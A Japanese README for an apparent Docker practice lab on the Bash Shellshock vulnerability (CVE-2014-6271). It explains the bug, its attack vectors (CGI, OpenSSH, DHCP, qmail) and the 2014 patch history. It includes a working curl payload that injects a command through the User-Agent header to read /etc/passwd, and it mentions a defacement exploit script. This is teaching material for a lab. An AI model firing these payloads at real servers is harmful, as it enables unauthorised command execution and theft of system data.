
Shellshockエクスプロイト + 脆弱な環境

Shellshock(Bashdoor としても知られる)は、広く使用されている Unix の Bash シェルにおける一連のセキュリティバグであり、最初のものは 2014 年 9 月 24 日に公開されました。一部の Web サーバー展開など、インターネットに公開されている多くのサービスは、Bash を使用して特定のリクエストを処理しており、攻撃者は脆弱なバージョンの Bash に任意のコマンドを実行させることができます。これにより、攻撃者はコンピュータシステムへの不正アクセスを取得できる可能性があります。
この環境を実行するには Docker のインストールが必要です。docker.com にアクセスし、まだインストールしていない場合はインストールしてください。
脆弱な環境を起動するには、次のコマンドを実行するだけです
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
ブラウザを開いて localhost:8080 にアクセスしてください。すべてが正常なら、次のようなページが表示されます

この脆弱性を悪用する方法はいくつかあります
cat /etc/passwd を実行する簡単な例
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
これを利用して任意のコマンドを実行できます
これは exploit-deface.sh 内のサンプルコードです。イメージに対して次のように実行するだけです
./exploit-deface.sh <ip> <port>
例えば、上記のコマンドで実行している場合は次のようにします
./exploit-deface.sh localhost 8080
ブラウザを更新するだけで、次のように表示されます

この bash スクリプトをシステム上で実行するだけで、脆弱かどうかを確認できます:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Web サーバーが Common Gateway Interface(CGI)を使用してドキュメントリクエストを処理する場合、リクエストのさまざまな詳細を環境変数リストとしてハンドラープログラムに渡します。例えば、HTTP_USER_AGENT 変数には、通常の使用ではリクエストを送信するプログラムを識別する値が格納されます。リクエストハンドラーが Bash スクリプトである場合、または例えば system(3) 呼び出しを使用して Bash スクリプトを実行する場合、Bash はサーバーから渡された環境変数を受け取り、上記のように処理します。これにより、攻撃者は特別に細工されたサーバーリクエストで Shellshock の脆弱性を引き起こす手段を得られます。
広く使用されている Apache Web サーバーのセキュリティドキュメントには「CGI スクリプトは、注意深くチェックされない場合は...非常に危険になり得る」と記載されており、Web サーバーリクエストを処理する他の方法がよく使用されます。インターネットに公開されている Web サーバーに対してこの脆弱性をテストしようとするオンラインサービスも多数存在します。
OpenSSH には「ForceCommand」機能があり、ユーザーがログインしたときに、無制限のコマンドシェルを実行する代わりに、固定されたコマンドが実行されます。ユーザーが別のコマンドを実行するよう指定した場合でも、固定されたコマンドが実行されます。その場合、元のコマンドは環境変数「SSH_ORIGINAL_COMMAND」に格納されます。強制されたコマンドが Bash シェルで実行される場合(ユーザーのシェルが Bash に設定されている場合)、Bash シェルは起動時に SSH_ORIGINAL_COMMAND 環境変数を解析し、そこに埋め込まれたコマンドを実行します。ユーザーは、制限付きシェルアクセスを利用して、Shellshock のバグを使って無制限のシェルアクセスを取得します。
一部の DHCP クライアントも Bash にコマンドを渡す可能性があります。脆弱なシステムは、オープンな Wi-Fi ネットワークに接続する際に攻撃される可能性があります。DHCP クライアントは通常、DHCP サーバーから IP アドレスを要求して取得しますが、一連の追加オプションも提供されることがあります。悪意のある DHCP サーバーは、これらのオプションの 1 つに、脆弱なワークステーションやラップトップ上でコードを実行するように細工された文字列を提供する可能性があります。
Bash を使用して電子メールメッセージを処理する場合(例:.forward や qmail-alias パイピング経由)、qmail メールサーバーは外部入力を、脆弱なバージョンの Bash を悪用できる形で渡します。
このバグは、システム管理者向けの小型 Linux バリアントである IBM Hardware Management Console の制限付きシェルから Bash へのアクセスを取得するために悪用される可能性があります。IBM はこれを解決するパッチをリリースしました。
2014 年 9 月 24 日までに、Bash の保守担当者である Chet Ramey が CVE-2014-6271 に対処する Bash 4.3 のパッチバージョン bash43-025 を提供しました。これはディストリビューションの保守担当者によってすでにパッケージ化されていました。9 月 24 日には、CVE-2014-7169 に対処する bash43-026 が続きました。その後、CVE-2014-7186 が発見されました。Red Hat の Florian Weimer は 9 月 25 日に、このためのパッチコードを「非公式に」投稿し、Ramey はそれを Bash に bash43-027 として組み込みました。これらのパッチはコードのみを提供するもので、パッチファイルと残りのソースコードファイルから新しい Bash バイナリ実行可能ファイルをコンパイル(「リビルド」)する方法を知っている人にのみ役立ちます。
翌日、Red Hat は Red Hat Enterprise Linux 向けの対応するアップデートを正式に発表し、その翌日には Fedora 21 向けのアップデートを発表しました。Canonical Ltd. は 9 月 27 日(土曜日)に Ubuntu の Long Term Support バージョン向けアップデートを発表し、日曜日には SUSE Linux Enterprise 向けのアップデートがありました。翌週の月曜日と火曜日(月の終わり)には、Apple OS X のアップデートが登場しました。
2014 年 10 月 1 日、Google Inc. の Michał Zalewski はついに、Weimer のコードと bash43-027 が最初の 3 つのバグだけでなく、bash43-027 の後に公開された残りの 3 つ(自身が発見した 2 つを含む)も修正したと述べました。これは、以前のディストリビューション向けアップデートの後、6 つの問題すべてをカバーするために他のアップデートは不要であることを意味します。
このプログラムおよび前述のプログラムは、教育目的のみを対象としています。許可なく使用しないでください。通常の免責事項が適用されます。特に、私(opsxcq)は、これらのプログラムによって提供される情報や機能を直接的または間接的に使用したことによって生じたいかなる損害についても責任を負いません。著者またはいかなるインターネットプロバイダーも、これらのプログラムまたはその派生物の内容や誤用について一切責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって生じたいかなる損害(データ損失、システムクラッシュ、システム侵害など)も opsxcq の責任ではないという事実を受け入れたものとみなされます。